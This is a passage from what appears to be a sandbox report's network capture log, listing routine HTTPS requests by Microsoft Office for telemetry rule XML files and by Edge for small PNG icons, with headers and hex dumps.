0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49912	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:38 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104538Z-17fbfdc98bbx59j5xd9kpbrs8400000007dg000000003b9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49913	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:38 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104538Z-17fbfdc98bbtwz55a8v24wfkdw0000000930000000001zgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49915	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:38 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 84f987b9-901e-0083-2ea3-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104538Z-17fbfdc98bbds27mnhu6ftg4d800000006bg000000002a8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49914	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:38 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104538Z-r1755647c66z67vn9nc21z11a8000000079g0000000044nx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49916	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 90f47f6f-801e-001b-7bb8-2a4695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-17c5cb586f62blg5ss55p9d6fn00000008pg00000000azqq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49917	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 30c340ab-b01e-0021-5eb4-26cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104539Z-r1755647c66z4xgb5rng8h32e800000006wg000000003enx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49918	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b003c4e3-a01e-0061-6990-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-16849878b78wv88bk51myq5vxc000000084000000000cqy0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49919	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 7e65535b-601e-005e-7139-2a9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-15b8d89586f8nxpt6ys645x5v0000000092g00000000amc9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49922	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-16849878b78qfbkc5yywmsbg0c00000007gg00000000ct7g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49921	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-16849878b786fl7gm2qg4r5y70000000087g000000004qg2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49920	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:39 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 192575bd-001e-0045-303d-29b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104539Z-16849878b78wv88bk51myq5vxc000000082g00000000f090 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
